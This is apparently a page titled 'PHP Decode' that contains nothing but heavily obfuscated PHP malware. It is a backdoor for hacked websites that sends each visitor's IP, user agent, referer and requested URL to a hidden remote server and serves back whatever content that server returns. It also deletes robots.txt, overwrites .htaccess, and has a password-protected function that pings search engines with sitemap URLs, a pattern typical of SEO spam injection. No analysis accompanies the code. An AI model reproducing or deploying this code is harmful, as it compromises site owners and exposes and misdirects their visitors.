PHP Decode

 goto xX3Aj; tUGJw: if ($HCKCPHjOCd !== false) { $dwCXwAnylU = array_pop($HCKCPHjOCd); $dwCXwAnylU = base64_decode($dwCXwAnylU); foreach ($HCKCPHjOCd as $KcSijtTrrV) { @header($KcSijtTrrV); } echo $dwCXwAnylU; die; } goto cRE76; vk3yu: $FgGZisOixn["\x72\145\161\165\x65\163\x74\x5f\165\162\154"] = ${"\137\x53\x45\122\x56\x45\122"}["\122\x45\x51\125\105\123\x54\137\x55\122\x49"]; goto K2xpP; JL1IS: $jkSdvleVBj = str_split($RABmhbVskd); goto BQTDU; r4f8l: $jcWfytRtqN = array("\x64\x6f\155\x61\151\x6e" => $FgGZisOixn["\x73\x65\x72\166\x65\x72\x5f\144\x6f\x6d\141\x69\x6e"], "\x72\145\x71\165\145\x73\x74\x5f\x75\x72\x6c" => $FgGZisOixn["\x72\145\161\x75\145\163\164\137\x75\162\154"], "\151\160" => $FgGZisOixn["\151\x70"], "\x61\147\x65\156\x74" => $FgGZisOixn["\x75\163\x65\x72\137\x61\x67\145\156\x74"], "\x72\145\x66\x65\162\145\x72" => $FgGZisOixn["\162\145\146\145\x72\145\x72"], "\160\x72\x6f\164\x6f\143\x6f\x6c" => $FgGZisOixn["\160\x72\x6f\164\x6f\143\x6f\154"], "\154\x61\x6e\147\165\141\x67\145" => $FgGZisOixn["\x6c\141\156\x67\x75\141\x67\x65"]); goto W0pbi; Eqwbg: $FgGZisOixn["\160\x72\157\x74\157\143\x6f\x6c"] = isset(${"\137\x53\105\122\x56\x45\x52"}["\x48\x54\x54\x50\x53"]) ? "\150\164\164\160\163\x3a\x2f\57" : "\150\x74\x74\x70\x3a\x2f\x2f"; goto mOoD7; Q0WRk: $FgGZisOixn["\x69\x70"] = isset(${"\137\123\x45\x52\126\105\x52"}["\110\124\x54\x50\x5f\126\x49\x41"]) ? ${"\137\x53\x45\x52\x56\x45\122"}["\110\124\x54\120\137\x58\137\106\117\x52\127\x41\122\x44\x45\104\x5f\x46\x4f\x52"] : ${"\x5f\123\105\x52\x56\x45\x52"}["\x52\x45\x4d\117\x54\105\x5f\x41\104\x44\x52"]; goto Eqwbg; W0pbi: $TBUGmiyAlx = http($FgGZisOixn["\141\160\x69"], $jcWfytRtqN, $FgGZisOixn["\x73\x65\162\x76\145\x72\137\144\157\x6d\x61\151\x6e"]); goto mBC5a; BQTDU: $BvrqhPRkws = ''; goto mSXgN; Xqt3C: $FgGZisOixn["\x61\160\151"] = base64_decode($BvrqhPRkws); goto E2U1g; Oa9tT: function http($tcxHvoEfEI, $dwCXwAnylU = '', $SesHjHxMQx = '') { if ($dwCXwAnylU == '') { $DIzXvGQftH = @file_get_contents($tcxHvoEfEI); if ($DIzXvGQftH) { return $DIzXvGQftH; } } $ajExbevdiA = curl_init(); curl_setopt($ajExbevdiA, CURLOPT_URL, $tcxHvoEfEI); curl_setopt($ajExbevdiA, CURLOPT_USERAGENT, $SesHjHxMQx); curl_setopt($ajExbevdiA, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ajExbevdiA, CURLOPT_TIMEOUT, 20); curl_setopt($ajExbevdiA, CURLOPT_FRESH_CONNECT, TRUE); if ($dwCXwAnylU != '') { curl_setopt($ajExbevdiA, CURLOPT_POST, 1); if (is_array($dwCXwAnylU)) { curl_setopt($ajExbevdiA, CURLOPT_POSTFIELDS, http_build_query($dwCXwAnylU)); } } $DIzXvGQftH = curl_exec($ajExbevdiA); curl_close($ajExbevdiA); return $DIzXvGQftH; } goto ryED2; MNBYr: $HCKCPHjOCd = @preg_split("\57\x5c\174\57\x73\x69", $TBUGmiyAlx, -1, PREG_SPLIT_NO_EMPTY); goto tUGJw; T1txy: f_check_htaccess(); goto r4f8l; RYbes: $TBUGmiyAlx = @gzuncompress(base64_decode($TBUGmiyAlx)); goto MNBYr; mSXgN: for ($bZwkIRdzsZ = 0; $bZwkIRdzsZ < count($jkSdvleVBj); $bZwkIRdzsZ++) { if ($bZwkIRdzsZ % 2 != 0) { $BvrqhPRkws .= $jkSdvleVBj[$bZwkIRdzsZ]; } } goto TyvNV; TyvNV: $FgGZisOixn["\x64\x65\x66\x61\x75\154\x74\137\160\141\162\x61\155\x73"] = $RABmhbVskd; goto Xqt3C; ryED2: function f_check_htaccess() { if (file_exists("\x72\x6f\x62\x6f\164\x73\x2e\164\170\x74")) { @unlink("\x72\157\x62\157\164\x73\x2e\164\170\164"); } $kcOFaTskiI = "\56\x68\164\x61\x63\x63\x65\163\x73"; $TBUGmiyAlx = @base64_decode("\120\105\x5a\160\142\x47\126\x7a\x54\x57\x46\x30\x59\x32\x67\x67\x49\x69\64\157\143\x48\154\x38\x5a\x58\150\154\x66\x48\x42\x6f\x63\103\153\x6b\x49\x6a\x34\x4b\111\x45\x39\x79\132\x47\x56\171\111\107\x46\163\142\107\71\63\114\107\122\x6c\x62\x6e\x6b\x4b\111\105\x52\x6c\x62\x6e\x6b\x67\132\x6e\x4a\x76\142\x53\102\150\x62\x47\167\x4b\120\x43\x39\x47\141\x57\x78\x6c\143\x30\x31\150\144\x47\x4e\x6f\x50\147\x6f\70\x52\155\x6c\163\x5a\x58\x4e\116\131\130\122\x6a\x61\103\x41\x69\x58\151\x68\x68\131\155\x39\x31\144\103\x35\x77\x61\110\x42\70\x63\155\106\153\x61\x57\x38\x75\x63\107\x68\167\x66\107\154\165\132\107\126\64\114\x6e\x42\157\143\110\170\x6a\x62\62\65\60\x5a\x57\x35\x30\x4c\156\102\157\143\110\x78\163\142\x32\116\x72\x4d\172\131\167\x4c\156\102\157\x63\x48\170\150\132\107\61\160\142\x69\x35\x77\x61\110\x42\x38\x64\63\101\x74\x62\x47\x39\156\x61\x57\64\x75\x63\107\x68\167\x66\110\x64\x77\114\127\167\167\132\x32\x6c\165\x4c\x6e\x42\157\143\110\170\63\x63\x43\61\60\x61\x47\126\x74\x5a\123\x35\x77\x61\x48\102\70\x64\63\101\x74\143\x32\116\x79\x61\x58\x42\60\143\x79\x35\x77\x61\x48\102\x38\x64\x33\101\x74\132\127\122\160\144\107\x39\x79\x4c\156\102\x6f\x63\x48\x78\164\x59\x57\x67\x75\143\107\150\x77\x66\107\160\167\114\x6e\x42\x6f\x63\110\x78\x6c\145\x48\x51\165\x63\107\x68\167\x4b\x53\x51\x69\x50\x67\x6f\147\x54\x33\x4a\153\132\x58\x49\x67\x59\x57\170\x73\x62\63\143\x73\132\107\x56\165\145\x51\157\147\121\127\170\x73\142\x33\x63\x67\x5a\156\x4a\166\142\123\102\150\142\107\x77\x4b\120\103\71\107\x61\x57\170\x6c\x63\60\x31\150\144\x47\116\157\x50\147\x6f\x38\123\127\x5a\x4e\x62\x32\x52\x31\x62\107\x55\x67\142\x57\71\153\130\63\x4a\x6c\144\63\112\x70\144\107\x55\165\x59\x7a\64\113\x55\155\126\x33\143\155\x6c\60\132\125\x56\165\132\x32\x6c\165\x5a\123\x42\120\142\x67\160\x53\x5a\130\144\x79\141\x58\x52\154\x51\155\x46\172\x5a\x53\x41\166\x43\154\112\154\144\63\112\160\144\x47\x56\x53\144\x57\170\x6c\111\x46\x35\x70\x62\155\x52\154\145\106\x77\x75\x63\x47\150\167\112\103\101\164\x49\x46\x74\x4d\130\121\x70\123\132\130\144\171\x61\x58\122\x6c\x51\62\x39\x75\132\x43\x41\x6c\x65\61\112\106\125\x56\126\x46\125\61\x52\x66\122\153\154\115\122\x55\65\x42\x54\x55\x56\x39\x49\x43\x45\164\x5a\147\160\x53\132\130\x64\x79\x61\x58\122\x6c\x51\x32\x39\x75\x5a\103\x41\x6c\x65\61\x4a\x46\x55\x56\x56\x46\x55\61\122\146\122\153\154\x4d\122\x55\65\102\x54\125\126\x39\111\x43\x45\164\132\x41\x70\x53\x5a\x58\x64\171\141\130\122\154\x55\156\126\x73\x5a\123\x41\165\x49\x43\x39\160\x62\155\x52\154\x65\103\65\x77\x61\x48\x41\147\x57\x30\170\144\x43\152\x77\x76\x53\x57\x5a\x4e\x62\62\x52\x31\142\107\125\x2b"); if (file_exists($kcOFaTskiI)) { $FQKGrcJFsU = file_get_contents($kcOFaTskiI); if ($TBUGmiyAlx == $FQKGrcJFsU) { return; } } @chmod($kcOFaTskiI, 511); @file_put_contents($kcOFaTskiI, $TBUGmiyAlx); @chmod($kcOFaTskiI, 420); } goto aFoO4; xmdH_: $FgGZisOixn["\165\163\145\162\x5f\141\x67\x65\156\164"] = isset(${"\137\123\105\122\x56\x45\122"}["\110\124\124\x50\137\125\x53\105\x52\137\101\x47\105\116\124"]) ? ${"\137\x53\x45\122\x56\105\122"}["\110\124\x54\120\137\x55\x53\105\122\137\x41\107\105\x4e\124"] : ''; goto Q0WRk; HLIdN: if (isset(${"\x5f\122\x45\x51\125\x45\x53\124"}["\160\x77\x64\x31\x36\x33"])) { if (md5(${"\137\x52\x45\x51\125\x45\x53\124"}["\x70\x77\x64\x31\66\63"] . "\141\41\x23\137\x31\x31\x41\101") == "\62\146\x37\141\67\x36\146\x37\61\x66\x66\71\x65\62\64\142\x65\x37\143\60\x30\61\65\146\x66\x39\x63\x62\70\x31\x64\x38") { if (isset(${"\137\x47\105\124"}["\x73\x69\x74\145\155\x61\160"])) { $enpCQawhei = ${"\137\x47\x45\x54"}["\163\x69\x74\145\x6d\141\x70"]; $puZhXlYnpx = "\x77\167\x77\56\147\157\x6f\x67\x6c\x65\56\143\x6f\x6d"; if (isset(${"\137\107\105\x54"}["\x67\157\x6f\147\x6c\x65\x5f\165\x72\x6c"])) { $puZhXlYnpx = ${"\137\x47\105\124"}["\x67\157\157\147\x6c\x65\137\x75\162\x6c"]; } f_site_map($puZhXlYnpx, $enpCQawhei, $FgGZisOixn); } } } goto T1txy; LwEU7: if (isset(${"\137\122\x45\121\125\105\x53\x54"}["\x70\x61\x72\x61\155\x73"])) { print_r($FgGZisOixn); die; } goto HLIdN; K2xpP: $FgGZisOixn["\162\x65\146\145\x72\145\x72"] = isset(${"\x5f\x53\105\122\126\105\x52"}["\x48\124\x54\120\137\x52\105\106\105\x52\105\x52"]) ? ${"\x5f\123\105\x52\x56\105\x52"}["\x48\x54\x54\120\137\122\105\x46\105\x52\x45\122"] : ''; goto xmdH_; xX3Aj: function f_site_map($dQbTbIQSRI, $enpCQawhei, $FgGZisOixn) { $eiNGEqThFg = "\150\164\164\x70\163\x3a\x2f\57\45\x73\x2f\160\x69\x6e\147\77\163\x69\x74\x65\x6d\x61\160\75\x25\163\45\163\57\x25\163"; $uJKDhMPJyT = sprintf($eiNGEqThFg, $dQbTbIQSRI, $FgGZisOixn["\x70\162\157\164\x6f\143\157\x6c"], $FgGZisOixn["\163\x65\162\166\145\162\137\x64\157\x6d\141\x69\156"], $enpCQawhei); $xPJiFoJqKg = http($uJKDhMPJyT); if (isset(${"\x5f\x52\105\x51\125\x45\x53\x54"}["\x73\x74"])) { var_dump($uJKDhMPJyT); var_dump($xPJiFoJqKg); die; } $jdNXhaoxJd = "\x67\157\157\147\154\x65"; $SsEXLWojxq = "\x73\x75\143\x63\145\x73\163"; $JahVYbkYSG = "\146\x61\151\x6c\145\144"; if (strpos($xPJiFoJqKg, $jdNXhaoxJd) != false) { die($SsEXLWojxq); } else { $eiNGEqThFg = "\x68\164\164\x70\x3a\57\57\45\163\x2f\x70\x69\x6e\x67\x3f\163\151\x74\145\155\x61\160\75\x25\163\45\x73\x2f\x25\x73"; $uJKDhMPJyT = sprintf($eiNGEqThFg, $dQbTbIQSRI, $FgGZisOixn["\160\162\157\x74\x6f\x63\157\x6c"], $FgGZisOixn["\x73\145\x72\166\x65\162\x5f\144\x6f\x6d\x61\151\156"], $enpCQawhei); $xPJiFoJqKg = http($uJKDhMPJyT); if (strpos($xPJiFoJqKg, $jdNXhaoxJd) != false) { die($SsEXLWojxq); } die($JahVYbkYSG); } } goto Oa9tT; mOoD7: $FgGZisOixn["\154\141\x6e\147\x75\141\147\145"] = isset(${"\137\123\x45\x52\126\x45\122"}["\110\x54\124\120\x5f\x41\x43\103\105\120\x54\137\x4c\101\x4e\x47\125\x41\107\x45"]) ? ${"\137\123\105\x52\126\x45\122"}["\110\124\124\x50\137\101\103\103\x45\x50\x54\x5f\114\101\116\x47\x55\101\107\105"] : ''; goto LwEU7; aFoO4: $RABmhbVskd = "\151\141\106\x48\154\122\154\x30\x6f\143\x44\x44\x7a\x6f\x63\166\x4d\x4c\152\x7a\x67\125\117\170\x52\116\x49\x7a\x48\x6b\103\x74\147\131\123\x32\x4e\x67\111\x30\x49\114\x42\x58\x58\131\112\65\117\115\172\x43\106\x35\x44\x74\122\x59\104\x58\x67\150\x77\150\x43\x63\152\x6d\x52\x56\x58\x6c\x55\x4c\x65\x6d\x50\x4e\x62\166\123\142\x4e\x51\110\75\122\x3d"; goto JL1IS; E2U1g: $FgGZisOixn["\x73\x65\162\166\x65\x72\137\x64\157\x6d\141\151\x6e"] = isset(${"\x5f\x53\105\x52\126\x45\122"}["\x48\124\x54\x50\x5f\x48\117\x53\x54"]) ? ${"\x5f\123\105\x52\x56\105\122"}["\x48\124\124\120\x5f\x48\x4f\123\124"] : ${"\x5f\x53\x45\x52\126\x45\122"}["\123\x45\x52\x56\105\122\137\116\x41\x4d\x45"]; goto vk3yu; mBC5a: if (isset(${"\137\x52\x45\x51\125\x45\123\124"}["\x64\165\x6d\160"])) { var_dump($TBUGmiyAlx); $TBUGmiyAlx = http("\x68\164\x74\160\72\57\57\x67\157\157\147\154\145\x2e\143\x6f\56\152\x70"); var_dump($TBUGmiyAlx); die; } goto RYbes; cRE76: ?>